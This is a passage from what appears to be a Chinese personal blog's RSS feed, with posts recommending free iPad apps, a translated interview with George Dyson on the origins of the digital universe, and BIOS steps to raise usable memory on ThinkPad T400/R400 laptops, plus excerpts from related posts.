<p> 在iPad上运行QQ软件，可以在这个新的平台进行网络聊天，有好友聊天和QQ群聊天，界面比较清爽，唯一令人烦恼的是，每次进入QQ HD都要输入图片验证码，很烦。</p>
<p><strong>办公类应用</strong></p>
<p><a href="http://itunes.apple.com/us/app/wordpress/id335703880?mt=8"><strong>WordPress</strong></a></p>
<p><img alt="WordPress" src="http://www.williamlong.info/upload/2227_8.jpg" /></p>
<p> 著名博客平台WordPress的iPad版，博客作者可以使用这个免费应用来更新自己的博客，支持离线撰写，然后在线发布，非常方便。</p>
<p><a href="http://itunes.apple.com/us/app/read-it-later-free/id309597402?mt=8"><strong>Read It Later Free</strong></a></p>
<p><img alt="Read It Later Free" src="http://www.williamlong.info/upload/2227_9.jpg" /></p>
<p> 如果你看到一篇文章或者一个网站，但是却没有时间读完，那就可以将其保存到Read It Later中。之后随时随地都可以阅读该文章或网站。从而避免只为了阅读某篇文章而向收藏夹和收件箱中添加一些杂乱的链接。</p>
<p> 这个应用和iPhone版Twitter应用搭配使用非常有效，当用户在Twitter上看到一个链接的时候，可以使用这个工具将链接存储下来，由于手机访问速度较慢，稍后可以在iPad应用或者电脑上阅读，支持离线方式阅读，是一个很好用的书签管理工具。同样功能的instapaper只有 iPhone的免费版，iPad的免费版还没出来。</p>
<p><a href="http://itunes.apple.com/us/app/feeddler-rss-reader-for-ipad/id364873582?mt=8"><strong>FeeddlerRSS</strong></a></p>
<p><img alt="FeeddlerRSS" src="http://www.williamlong.info/upload/2227_10.jpg" /></p>
<p> 一个Google Reader阅读器的iPad应用，由于浏览器版本的Google Reader在iPad操作并不方便，主要是快捷键无法使用，因此这个应用弥补了在iPad上看RSS的应用问题。</p>
<p><a href="http://itunes.apple.com/us/app/evernote/id281796108?mt=8"><strong>EverNote</strong></a></p>
<p><img alt="EverNote" src="http://www.williamlong.info/upload/2227_11.jpg" /></p>
<p> EverNote是一款在国外非常著名的笔记软件，界面与功能十分类似Onenote。EverNote具有网络存储空间，支持Tags，是一个资料组织和管理实用工具，从创意笔记到网页快照都可以通过Evernote来记录，而且可以将这些信息同步到Mac或Windows桌面中。</p>
<p><a href="http://itunes.apple.com/us/app/dropbox/id327630330?mt=8"><strong>Dropbox</strong></a></p>
<p><img alt="Dropbox" src="http://www.williamlong.info/upload/2227_12.jpg" /></p>
<p> Dropbox是最简单的网络文件同步和分享工具。出门在外时，可以通过Dropbox访问文档、电子表格、演示稿、视频和图片，并且可以将文件导出到其他的iPad应用中。Dropbox拥有高达10.25G的网络存储空间，支持iPhone和iPad，速度非常快，特别是对中文支持比较好，我使用另一款收费应用GoodReader虽然也可以不翻墙连接Dropbox，但中文TXT文件读出来是乱码，而Dropbox自身读出来就正常，这也就是中国人宁愿使用VPN也要安装Dropbox应用的原因了。值得一提的是，Dropbox对于TXT、PDF等常见格式可以直接支持阅读。</p>
<p><a href="http://itunes.apple.com/us/app/goodreader-for-ipad/id363448914?mt=8"><strong>GoodReader</strong></a></p>
<p><img alt="GoodReader" src="http://www.williamlong.info/upload/2227_13.jpg" /></p>
<p> GoodReader并不是免费应用，这也是月光博客在本文中介绍的唯一的一个收费应用，价格为0.99美元，但请相信，这个软件绝对是物超所值。 GoodReader这个软件功能很多，可以阅读各种类型的文档，包括Word、Excel、PPT、pdf、txt、jpg、zip等等，更重要的是，GoodReader支持在不开VPN的情况下访问用户<a href="http://www.williamlong.info/archives/2173.html">Dropbox</a>的文件，这点功能很方便。不过GoodReader对于TXT等文件默认使用UTF-8编码，普通中文TXT文件读出来会是乱码，需要将 GoodReader中TXT的默认编码格式修改为MacChineseSimp才可以。GoodReader支持通过WiFi与用户的个人电脑传输文件，可以方便的把用户电脑或网盘的文件复制到iPad中。</p>
<p><strong>网络视频类</strong></p>
<p><a href="http://itunes.apple.com/us/app/id370532345?mt=8"><strong>凤凰网</strong></a></p>
<p><img alt="凤凰网" src="http://www.williamlong.info/upload/2227_14.jpg" /></p>
<p> 包含凤凰网上的新闻视频，速度还可以，就是内容少了点。</p>
<p><a href="http://itunes.apple.com/us/app/id365498010?mt=8"><strong>土豆会</strong></a></p>
<p><img alt="土豆会" src="http://www.williamlong.info/upload/2227_15.jpg" /></p>
<p> 土豆网的网络视频应用，这也是中国第一个免费视频网站的iPad应用，可以替代需要翻墙访问的iPad Youtube应用，视频播放很流畅，但视频内容也不是很多。</p>
<p><strong>报刊杂志类</strong></p>
<p><a href="http://itunes.apple.com/us/app/id368480265?mt=8"><strong>南方都市报</strong></a></p>
<p><img alt="南方都市报" src="http://www.williamlong.info/upload/2227_16.jpg" /></p>
<p> 南方都市报的iPad应用，要在线才能查看，对已收藏的文章可以离线阅读，南方都市报是广东省内发行量最大的都市报，也是中国最好的报纸之一，以其开放和大胆直言的特性吸引了中国大批的读者。</p>
<p><a href="http://itunes.apple.com/us/app/id370704734?mt=8"><strong>南方周末</strong></a></p>
<p><img alt="南方周末" src="http://www.williamlong.info/upload/2227_17.jpg" /></p>
<p> 南方周末的iPad应用，也要在线才能看，界面设计的和真实报纸一样，很值得一看，南方周末是中国深具公信力的严肃大报和发行量最大的新闻周报，是中国少数敢于顶住压力讲真话的报纸之一。</p>
<p><strong>总结</strong></p>
<p> 以上就是iPad的主要免费应用软件，虽然是免费应用，但是功能绝对不容小觑，很多应用（如Google Earth）的界面和功能都不弱于那些付费应用，随着iPad在大众的逐步普及，相信基于苹果iPad的免费应用会越来越多，越来越好用。</p>
<div id="seo_alrp_related"><h2>Posts Related to 免费iPad应用软件推荐</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2011/09/20/484.html" rel="bookmark">COBOL文件状态码（你会用到的）</a></h3><p>多余的就不说了~~ 文件状态：(对文件操作时返回文件状态到定义的文件状态变量) &#160;&#160;&#160; ANY&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; 00 成功 &#160;&#160;&#160; ANY&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; 02 对索引文件，成功但发现重复关键字 &#160;&#160;&#160; READ&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; 04 成功，但纪录长度不符合指定长度 &#160;&#160;&#160; OPEN&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; 05 成功，但文件是可选的，前面不存在 &#160;&#160;&#160; OPEN,CLOSE&#160;&#160;&#160;&#160; 07 对顺序文件，成功，但媒介不是盘 &#160;&#160;&#160; READ&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; 10 ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2011/10/08/506.html" rel="bookmark">Google Blogger使用技巧</a></h3><p>Blogger是Google提供的免费博客服务，提供中文界面，是一个很成熟的中文博客发布平台。 Blogger一个突出的特点就是简洁但功能强大，没有多余而花哨的功能，必要的功能一个都不差。Bloger自由性最大的地方在于其模板可以自定义，也就是说你可以修改模板里的任何内容，包括Google的广告，这给那些懂Html和CSS的Blogger提供了很大的自由度。Blogger默认把用户的网志发布到免费提供的Blogspot.com主机上。可惜的是Blogspot.com从中国是无法访问。好在Blogger.com提供了一种很独特的服务，可以将博客的静态页面通过FTP发布到用户选择的服务器上。通过FTP发布到其他主机 用户在Blogger.com上的默认Blog地址显然无法从国内访问，但是如果你有一个虚拟主机空间，或者其他支持FTP的空间，那么Blogger.com可以将这个地址上的日志文件全部发布到你的虚拟主机空间上去。 具体的方法是：登陆你的Blogger帐号，进入控制面板，更改设置，在“发布”选项卡中点击FTP的超级链接，然后录入FTP服务器地址，FTP用户名和密码。点保存设置后，就可以发布了，这时Blogger.com会将你的整个站发布到你指定的主机上。 至于这个FTP服务器，我推荐一个国内GFans提供的免费Blogger Spaces空间，支持FTP发布，最重要的是支持域名绑定，其服务器在广州，速度很快，希望大家不要滥用其服务。 通过电子邮件发布日志 在Blogger中写日志麻烦？告诉你一个技巧，你可以不登录Blogger网站，只要发送一封电子邮件就可以发表文章了。 具体的方法是：登陆你的Blogger帐号，进入控制面板，更改设置，在“电子邮件”中，在Mail-to-Blogger地址中可以自定义一个邮件地址，发送到此地址的邮件会自动张贴，BlogSend地址是另外一个电子邮件地址，只要一发布文章，系统会将其邮寄文章到此地址。 这里再介绍一个小技巧，就是在更新Blogger的同时也更新MSN Space。因为MSN Space也是支持邮件发布的，因此将Blogger发布后发送邮件的BlogSend地址修改为MSN Space的发布邮件地址，这样在Blogger上发布一篇文章后，系统就会自动将文章内容发送到Msn Spaces里，这样就同时更新了两个博客。 有一点值得注意的是，Blogger默认的编码是UTF-8编码，因此发送邮件的时候要将邮件编码设置为UTF-8的格式，建议登陆GMail发送邮件。一来GMail默认就是UTF-8格式的，编码全兼容，二来GMail支持自动保存功能，不怕电脑死机后丢失文章，三来GMail还可以自动备份发出去的文章，以免文章丢失。 使用第三方软件发布文章 Zoundry是一个第三方的日志发布软件，可以做到不用登陆Blogger即可发布日志，使用它来编辑和发布，速度和效率都非常理想。 添加Google Adsense广告 Google Blogger用户可以很快捷方便地申请加入Google Adsense广告服务。Google本身也推荐博客们使用Blogger的广告来为自己和Google赚钱。 Google工具栏的应用 Google工具栏有一个按钮是“发送到Blogger”，可以快速将当前网页发送到自己的Blogger空间上。 Google ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2010/03/29/358.html" rel="bookmark">www.google.com也废了</a></h3><p>以图为证，注意,右边的那个打开的GG是香港谷歌~我朝NB了，雄起了！ :twisted:</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2011/11/09/570.html" rel="bookmark">RACF中分配SDSF权限</a></h3><p>在RACF中，给予Group USER相应的SDSF权限 1、先列出在Class SDSF下已经定义好的Profiles: 代码: RLIST SDSF * 2、然后对于每一个列出Profile, 给予Group USER相应的SDSF权限，例如profile ISFOPER.SYSTEM: 代码: PERMIT ISFOPER.SYSTEM CLASS(SDSF) ACCESS(UPDATE) ID(USER) 3、使用PERMIT命令，对于所有其他Profile, 给予USER权限（例如UPDATE, READ）. 4、动态更新你的修改： 代码: SETROPTS GENERIC(SDSF) ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2011/01/25/459.html" rel="bookmark">人像摄影技巧</a></h3><p>前言 &#160;&#160;&#160; 谈到人像摄影，很多朋友都会觉得：自己在日常中也经常拍。但是，好象到了最后看自己的PP,总是觉得是缺了点什么……在这里我斗胆写一下我个人拍人像的一些心得来和大家分享和探讨一下。（主要针对数码机部分） 器材篇 首先我们看看以下的PP： &#160;&#160;&#160; 上面的PP的景深上得到了控制，有效的把背景做了虚化。从而突出了主体的人像部分。要达到这样的效果我建议不要使用普通用的傻瓜机了。也就是说要用带有手动功能的机子。镜头的光圈最好是能够达到F2.8或更大的光圈，同时能够有5X以上的大变焦就更好…… &#160;&#160;&#160; 其实，现在的DC机都有不少是带有了很多的手动功能了，使我们在入门和学习中提供了很多便利。为什么要对器材要求这么多呢？下面我们的《技术运用篇》里就会提到了。而最后，机器最好是带有点对焦和点测光的功能。这样的目的是为了更好的把人像的面部更容易清晰和暴光正确（这点是你的PP能否达到更高素质的关键，当然了这功能一般都不是普通消费级的DC所能够拥有的）。 &#160;&#160;&#160; 如果经济条件比较好而又特别喜欢摄影艺术的朋友可以考虑上DSLR——数码单反相机。然后选上一些素质不错的镜头……这样会使机器在功能和镜头素质上能够完全的超越了普通的DC（但这只是个人意见，是否使用按各自的需求和情况来定了） 拍摄技巧篇 &#160;&#160;&#160; 人是万物之灵。不同的环境、服装、心情、动作、发型、甚至光线等都会使效果有根本的区别……同时背景的选择也是相当重要的一部分。要尽量让颜色和被拍摄的人物的颜色有反差，从而达到突出主体部分！这点比较重要！ &#160;&#160;&#160; 如果突出人物的眼神，就需要将相机保持在人眼高度，以便显现充满魅力的眼神和迷人的微笑。 但是，值得一提的是有些朋友往往喜欢让被拍的人都看镜头。其实，这倒不一定的，而且很多时候效果不一定好。就如图一这样的效果会产生更具个人魅力的效果，使照片具有吸引力。 &#160;&#160;&#160; 怎样拍才能使背景虚化从而突出人物呢？首先我们把相机的功能键转到手动设置里的AV或A档（光圈优先）。然后选择F2.8光圈（如果有些机没有达到F2.8就尽量的调大光圈）；然后就是选择点对焦和点测光功能，这一步很关键哦。然后调整相对应的焦段（光学变焦部分）再就是对准人物的面部的两眼中间半按下快门，这时会听到对焦的声音；这时我们保持一下来做最关键的一步——构图。最后才按下快门完成拍摄过程。 &#160;&#160;&#160; DC的参数设置一定要正确。我们发现有不少的DC都存在着白平衡偏色的情况（使用AUTO档的时候）。拍人如果颜色出现偏差就会使整张PP都比较难看，就算我们懂得了一些数码暗房的功夫，也会倍添了很多麻烦。况且有些颜色偏得离谱了后期不一定这么容易就可以调过来的。所以，使用前必须做好设置……如果我们知道自己使用的DC白平衡是有偏色的情况，我们可以用“纯白纸”的设定方式。详细参考各品牌的DC说明，这样通常都会使色温能够准确的再现。 &#160; 我们都知道，拍人需要光的配合来达到最好的效果。而我们为了选择美丽的背景就难免会出现逆光的情况。这时候我们怎样处理？解决的方法有以下几种：打反光板，让光来补充人物的面部或被拍摄的地方；打开闪光灯（最好是能够控制带TTL的外闪或加上柔光罩）这样使人物的面部效果不至于出现过硬的情况；或者如果人物适合拍剪影效果的话（有一定水平的摄影者可以考虑）就做这个特殊的效果。当然了作为初学的人最好还是避免逆光拍摄，这样就要求我们摄影前要充分的作好光线来源的观察和位置的判断了。 &#160;&#160;&#160; 尽量用垂直的构图方法。从上面的PP我们可以看到垂直的方式来摄影使人物的表现力更强烈！所以，建议初学者多学用垂直的构图方式。 ...</p></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://blog.yxzone.net/2012/04/12/626.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>黑客历史学家George Dyson:数字宇宙之大爆炸</title>
		<link>http://blog.yxzone.net/2012/04/09/624.html</link>
		<comments>http://blog.yxzone.net/2012/04/09/624.html#comments</comments>
		<pubDate>Mon, 09 Apr 2012 06:11:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[-技术杂谈]]></category>
		<category><![CDATA[宇宙大爆炸]]></category>
		<category><![CDATA[数字]]></category>

		<guid isPermaLink="false">http://blog.yxzone.net/?p=624</guid>
		<description><![CDATA[20世纪最具威力的两项发明——核弹和计算机出自同一时代、同一群年青人。可是，与大名鼎鼎的曼哈顿计划（第二次世界大战中美国原子弹研究计划）相比，计算机的起源显得默默无闻。 出身计算机世家的历史学家George Dyson在其新书《图灵大教堂》（Turing’sCathedral）中讲述了阿兰· 图灵、约翰· 冯· 诺依曼等一帮子天才小子创造计算机及预见计算机未来盛况的轶事。 Dyson向《连线》前主编凯文· 凯利（以下分别简称Dayson和KK）讲述了“数字宇宙”的“大爆炸”。 KK：我们在进行电话访谈，这时我们是否处于这个数字宇宙中？ Dayson：当然。您正在用数字录音机将这次对话录制到一个位于个某芯片上的空地址矩阵中，写入速度为每秒44千字节。这个写满数字的地址空间就是数字宇宙。 KK：这个平行光速宇宙是如何开始的？ Dayson：这个广袤无比的数字世界几乎能让我们随时获取任何内容，它可以追溯到MANIAC中的第一个地址存储器，大小仅有32×32×40字节，即5千字节，或者说这个空间可以录制这次谈话的几分之一秒的内容！ KK：这个宇宙的膨胀速度有多快？ Dayson：正如宇宙形成之初，爆炸多过膨胀。我们身在其中，难以察觉。我曾经测量过，数字宇宙在存储端的膨胀速度为5兆字节每秒，处理器的膨胀速度为每秒2兆晶体管。 KK：在创造传奇的过程中，有哪些英雄人物？ Dayson：阿兰·图灵是原始创意逻辑学家；朱利安· 毕格罗（Julian Bigelow）是造出实际机器的工程师；生物学家尼尔斯·巴黎塞利（Nils Barricelli）监督发展情况；约翰·冯·诺依曼赢得政府资金和信心，促使项目启动；约翰· 冯· 诺依曼的妻子克拉利·冯·诺依曼（Klari von Neumann）写代码。 KK ：这个数字宇宙奔向何方？ Dayson：我们创造了这个不断膨胀的计算宇宙，它敞开怀抱迎接所有事物的发展演变。它越转越快，规模远远不止每年翻一倍。就算有Google和YouTube以及Facebook帮忙，我们也无法将它耗尽。我们无法真正了解这个巨大无比的空间中装着些什么。在人类看来，计算机99%的时间都在空转，只知道等待下一个指令。虽然计算机在等着我们提供指令，但越来越多的计算却脱离我们而发生，因为计算机会为计算机写指令。 正如图灵用数学方式展示出来的那样，这个空间无法监督。随着数字宇宙的膨胀，这桀骜不驯的一面也会如此 Posts Related to 黑客历史学家George Dyson:数字宇宙之大爆炸什么是ABC成本法ABC成本法(Activity Based Costing)   什么是ABC成本法 　　ABC成本法又称作业成本分析法、作业成本计算法,作业成本核算法 　　ABC成本法的产生，最早可以追溯到20世纪杰出的会计大师、美国人埃里克·科勒（Eric Kohler）教授。科勒教授在1952年编著的《会计师词典》中，首次提出了作业、作业帐户、作业会计等概念。1971年，乔治·斯托布斯（George Staubus）教授在《作业成本计算和投入产出会计》（Activity Costing and Input Output Accounting）中对"作业"、"成本"、"作业会计"、"作业投入产出系统"等概念作了全面、系统的讨论。 　　这是理论上研究作业会计的第一部宝贵著作。但是，当时作业成本法却未能在理论界和实业界引起足够的重视。20世纪80年代后期，随着MRP、CAD、CAM、MIS的广泛应用，以及MRPII、FMS和CIMS的兴起，使得美国实业界普遍感到产品成本住处与现实脱节，成本扭曲普通存在，且扭曲程度令人吃惊。美国芝加哥大学的青年学者库伯（Robin Cooper）和哈佛大学教授卡普兰（Robert S Kaplan）注意到这种情况，在对美国公司调查研究之后，发展了斯托布斯的思想，提出了以作业为基础的成本计算（1988）（Activity Based Costing，简称ABC法）。作业成本法在过去10年中受到了广泛的关注，新型的咨询公司已经扩展了作业成本法的应用范围并研发出相应的软件。 　　ABC成本法引人了许多新概念，下图显示了作业成本计算中各概念之间的关系。资源按资源动因分配到作业或作业中心，作业成本按作业动因分配到产品。分配到作业的资源构成该作业的成本要素（图中的黑点），多个成本要素构成作业成本池（中间的小方框），多个作业构成作业中心（中间的椭圆）。作业动因包括资源动因和成本动因，分别是将资源和作业成本进行分配的依据。 ABC成本法是基于活动的成本管理 　　那么，什么是基于活动的成本管理？ 　　成本管理是按照现行的会计制度，依据一定的规范计算材料费、人工费、管理费、财务费等的一种核算方法。这种管理法有时不能反映出所从事的活动与成本之间的直接联系。而ABC成本法相当于一个滤镜，它对原来的成本方法做了重新调整，使得人们能够看到成本的消耗和所从事工作之间的直接联系，这样人们可以分析哪些成本投入是有效的，哪些成本投入是无效的。 [...]]]></description>
			<content:encoded><![CDATA[<p>20世纪最具威力的两项发明——核弹和计算机出自同一时代、同一群年青人。可是，与大名鼎鼎的曼哈顿计划（第二次世界大战中美国原子弹研究计划）相比，计算机的起源显得默默无闻。</p>
<p>出身计算机世家的历史学家George Dyson在其新书《图灵大教堂》（Turing’sCathedral）中讲述了阿兰· 图灵、约翰· 冯· 诺依曼等一帮子天才小子创造计算机及预见计算机未来盛况的轶事。</p>
<p><span id="more-624"></span>
<p><strong>Dyson向《连线》前主编凯文· 凯利（以下分别简称Dayson和KK）讲述了“数字宇宙”的“大爆炸”。</strong></p>
<p><strong>KK：我们在进行电话访谈，这时我们是否处于这个数字宇宙中？</strong></p>
<p><strong>Dayson</strong>：当然。您正在用数字录音机将这次对话录制到一个位于个某芯片上的空地址矩阵中，写入速度为每秒44千字节。这个写满数字的地址空间就是数字宇宙。</p>
<p><strong>KK：这个平行光速宇宙是如何开始的？</strong></p>
<p><strong>Dayson</strong>：这个广袤无比的数字世界几乎能让我们随时获取任何内容，它可以追溯到MANIAC中的第一个地址存储器，大小仅有32×32×40字节，即5千字节，或者说这个空间可以录制这次谈话的几分之一秒的内容！</p>
<p><strong>KK：这个宇宙的膨胀速度有多快？</strong></p>
<p><strong>Dayson</strong>：正如宇宙形成之初，爆炸多过膨胀。我们身在其中，难以察觉。我曾经测量过，数字宇宙在存储端的膨胀速度为5兆字节每秒，处理器的膨胀速度为每秒2兆晶体管。</p>
<p><strong>KK：在创造传奇的过程中，有哪些英雄人物？</strong></p>
<p><strong>Dayson</strong>：阿兰·图灵是原始创意逻辑学家；朱利安· 毕格罗（Julian Bigelow）是造出实际机器的工程师；生物学家尼尔斯·巴黎塞利（Nils Barricelli）监督发展情况；约翰·冯·诺依曼赢得政府资金和信心，促使项目启动；约翰· 冯· 诺依曼的妻子克拉利·冯·诺依曼（Klari von Neumann）写代码。</p>
<p><strong>KK ：这个数字宇宙奔向何方？</strong></p>
<p><strong>Dayson</strong>：我们创造了这个不断膨胀的计算宇宙，它敞开怀抱迎接所有事物的发展演变。它越转越快，规模远远不止每年翻一倍。就算有Google和YouTube以及Facebook帮忙，我们也无法将它耗尽。我们无法真正了解这个巨大无比的空间中装着些什么。在人类看来，计算机99%的时间都在空转，只知道等待下一个指令。虽然计算机在等着我们提供指令，但越来越多的计算却脱离我们而发生，因为计算机会为计算机写指令。</p>
<p>正如图灵用数学方式展示出来的那样，这个空间无法监督。随着数字宇宙的膨胀，这桀骜不驯的一面也会如此</p>
<div id="seo_alrp_related"><h2>Posts Related to 黑客历史学家George Dyson:数字宇宙之大爆炸</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2010/03/07/258.html" rel="bookmark">什么是ABC成本法</a></h3><p>ABC成本法(Activity Based Costing)   什么是ABC成本法 　　ABC成本法又称作业成本分析法、作业成本计算法,作业成本核算法 　　ABC成本法的产生，最早可以追溯到20世纪杰出的会计大师、美国人埃里克·科勒（Eric Kohler）教授。科勒教授在1952年编著的《会计师词典》中，首次提出了作业、作业帐户、作业会计等概念。1971年，乔治·斯托布斯（George Staubus）教授在《作业成本计算和投入产出会计》（Activity Costing and Input Output Accounting）中对"作业"、"成本"、"作业会计"、"作业投入产出系统"等概念作了全面、系统的讨论。 　　这是理论上研究作业会计的第一部宝贵著作。但是，当时作业成本法却未能在理论界和实业界引起足够的重视。20世纪80年代后期，随着MRP、CAD、CAM、MIS的广泛应用，以及MRPII、FMS和CIMS的兴起，使得美国实业界普遍感到产品成本住处与现实脱节，成本扭曲普通存在，且扭曲程度令人吃惊。美国芝加哥大学的青年学者库伯（Robin Cooper）和哈佛大学教授卡普兰（Robert S Kaplan）注意到这种情况，在对美国公司调查研究之后，发展了斯托布斯的思想，提出了以作业为基础的成本计算（1988）（Activity Based Costing，简称ABC法）。作业成本法在过去10年中受到了广泛的关注，新型的咨询公司已经扩展了作业成本法的应用范围并研发出相应的软件。 　　ABC成本法引人了许多新概念，下图显示了作业成本计算中各概念之间的关系。资源按资源动因分配到作业或作业中心，作业成本按作业动因分配到产品。分配到作业的资源构成该作业的成本要素（图中的黑点），多个成本要素构成作业成本池（中间的小方框），多个作业构成作业中心（中间的椭圆）。作业动因包括资源动因和成本动因，分别是将资源和作业成本进行分配的依据。 ABC成本法是基于活动的成本管理 　　那么，什么是基于活动的成本管理？ 　　成本管理是按照现行的会计制度，依据一定的规范计算材料费、人工费、管理费、财务费等的一种核算方法。这种管理法有时不能反映出所从事的活动与成本之间的直接联系。而ABC成本法相当于一个滤镜，它对原来的成本方法做了重新调整，使得人们能够看到成本的消耗和所从事工作之间的直接联系，这样人们可以分析哪些成本投入是有效的，哪些成本投入是无效的。 　　ABC成本法主要关注生产运作过程，加强运作管理，关注具体活动及相应的成本，同时强化基于活动的成本管理 ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2010/03/14/281.html" rel="bookmark">葡萄酒</a></h3><p>葡萄酒是用新鲜的葡萄或葡萄汁经发酵酿成的酒精饮料。通常分红葡萄酒和白葡萄酒两种。前者是红葡萄带皮浸渍发酵而成；后者是葡萄汁发酵而成的。 葡萄酒（pú táo jiǔ ）：按照国际葡萄酒组织的规定，葡萄酒只能是破碎或未破碎的新鲜葡萄果实或汁完全或部分酒精发酵后获得的饮料，其酒精度数不能低于8.5°；按照我国最新的葡萄酒标准GB15037-2006规定，葡萄酒是以鲜葡萄或葡萄汁为原料，经全部或部分发酵酿制而成的，酒精度不低于7.0%的酒精饮品。 酿酒葡萄的品种 葡萄品种分为鲜食葡萄品种和酿酒葡萄品种，我们通常见到的葡萄均为鲜食葡萄。酿酒葡萄为（Ampelidecese）科，所有酿酒葡萄品种均属于（Ampelidecese）的10个科属中的（Vitis）科属，其中又以（Vitis Vinifera）种最为重要，因为全球的葡萄酒有99.99%均是使用（Vitis Vinifera）的葡萄品种酿造。（Vitis Vinifera）是目前欧洲用来制造上好葡萄酒的品种。全世界有超过8000种可以酿酒的葡萄品种，但可以酿制上好葡萄酒的葡萄品种只有50种左右，大约可以分为白葡萄和红葡萄两种。白葡萄，颜色有青绿色、黄色等。主要用来酿制气泡酒及白葡萄酒。红葡萄，颜色有黑、蓝、紫红、深红色，有果肉是深色的，也有果肉和白葡萄一样是无色的，所以白肉的红葡萄去皮榨汁之后可酿造白酒，例如（Pinot Noir）可用来酿造香槟及白酒。 赤霞珠 英文名称（Cabernet Sauvignon）卡伯纳·苏维翁。原产法国，是法国波尔多（Bordeaux）地区传统的酿制红葡萄酒的良种。世界上生产葡萄酒的国家均有较大面积的栽培。我国于1892年首先由烟台张裕公司引入。是我国目前栽培面积最大的红葡萄品种。该品种容易种植、适应性较强、酒质优，可酿成浓郁厚重型的红酒，适合久藏。但它必须与其他品种调配（如梅鹿辄）经橡木桶贮存后才能获得优质葡萄酒。它与品丽珠、蛇龙珠在我国并称“三珠”。在河北的昌黎，种植面积最大，葡萄的表现最好。 品丽珠 英文名称（Cabenet Franc）卡伯纳·佛朗。别名卡门耐特、原名解百纳。原产法国，是法国波尔多（Bordeaux）及罗亚河区（Loire）古老的酿酒品种，是赤霞珠、蛇龙珠的姊妹品种。我国最早是1892年由西欧引入山东烟台。该品种是世界著名的、古老的酿造白葡萄酒的良种，富有果香，清淡柔和，大多不太能久藏，它的酒质不如赤霞珠，适应性不如蛇龙珠。通常与卡伯纳·苏维翁及美露（Merlot）搭配。加州近年来也出现愈来愈多的卡伯纳·佛朗单一品种葡萄酒。 梅鹿辄 英文名称（Merlot）。别名梅尔诺、梅乐。原产法国，在法国波尔多（Bordraux）地区与其他名种（如赤霞珠等）配合生产出极佳干红葡萄酒。我国最早是1892年由西欧引入山东烟台。该品种为法国古老的酿酒品种，作为调配以提高酒的果香和色泽。 佳丽酿 英文名称（Carignane）。别名佳里酿、法国红、康百耐、佳酿。原产西班牙，是西欧各国的古老酿酒优良品种之一。我国最早是1892年由西欧引入山东烟台。所酿之酒宝石红色，味正，香气好，宜与其他品种调配，去皮可酿成白或桃红葡萄酒，且易栽培、丰产，可用作红酒调配与制白兰地。 黑品乐 英文名称（Pinot Noir）皮诺·诺瓦。别名黑品诺、黑比诺、黑皮诺等。原产法国，是古老的酿酒名种。我国最早在1892年从西欧引入山东烟台，1936年从日本引入河北昌黎。该品种是法国著名酿造香槟酒与桃红葡萄酒的主要品种，早熟、皮薄、色素低、产量少，适合较寒冷的地区，它对土壤与气候要求比较严格，去皮发酵可酿制干白、白酒及非常好的气泡酒，是香槟最主要的葡萄品种之一。所酿的酒颜色不深，适合久藏。这是一种非常难种植又难酿造的葡萄品种，在加州的酒厂，被称之为令人头疼的葡萄。这种娇弱的贵族葡萄品种，最好的种植区在勃根地，在那里它有最佳的表现，同时，来自勃根地的红酒可能是世界上最奢侈昂贵的酒了。它香气十足，年轻时有丰富的水果香（也有人戏谑称之为马尿味道）及草莓、樱桃等浆果味，陈年成熟后，富有变化，带有香料及动物、皮革香味而且成熟老化，有着回甜、非常讨好的味道。在德国称之为晚勃根地品种（Spatburgun der），主要用来生产清淡、色泽柔和、早熟的红酒。在美国加州、俄亥冈州以及奥地利、新西兰也有很好的表现。 ...</p></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://blog.yxzone.net/2012/04/09/624.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>T400/R400等双显卡机型 WIN7可用内存2.46G 变为2.99G的方法</title>
		<link>http://blog.yxzone.net/2012/04/09/621.html</link>
		<comments>http://blog.yxzone.net/2012/04/09/621.html#comments</comments>
		<pubDate>Mon, 09 Apr 2012 04:59:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[-其他相关]]></category>
		<category><![CDATA[T400]]></category>
		<category><![CDATA[内存2.46G]]></category>
		<category><![CDATA[双显卡]]></category>

		<guid isPermaLink="false">http://blog.yxzone.net/?p=621</guid>
		<description><![CDATA[T400/R400等机型在WIN7系统下支持双显卡切换功能，但是升级到3G以上内存时，系统可用内存只有2.46G，这是因为一方面32位系统最大支持3G内存，另外一方面集成显卡共享显存也占用了一些内存，只有安装64位系统的情况下才能充分利用3G以上的内存。那么如何在不安装64位系统的情况下充分利用3G内存呢？按照如下步骤将集成显卡关闭即可。在只使用独立显卡的情况下32位系统最大可用内存可以达到2.99G &#160; 1. 开机点击F1进入BIOS设置，Config-&#62;Display Default Primary Video Device 设置为 PCI Express Graphics Device 设置为 Discrete OS Detection for Switchable Graphics设置为 Disabled 2.返回BIOS 主菜单 点击F10保存退出。 ！！！注意了 3.这一步需要，按住电源键（关键）这里特别提醒是关机 而不是保存并重新启动，之后在开机 进入系统信息查看此时系统内存显示由2.46G变为2.99G Posts Related to T400/R400等双显卡机型 WIN7可用内存2.46G 变为2.99G的方法HTC-Desire(G7)/A8180联通3G上网、彩信设置（绝对可用）经常为此乱找，特存在这里。 1 先删除所有接入点。重启 2 添加接入点 主页面-&#62;设置-&#62;无线和网络-&#62;移动网络设置-&#62;接入点名称 3 新建3个接入点。接入点参数如下： （1）3gnet 名称：随意 接入点名称：3gnet 代理：默认&#60;未设置&#62; 端口：默认&#60;未设置&#62; 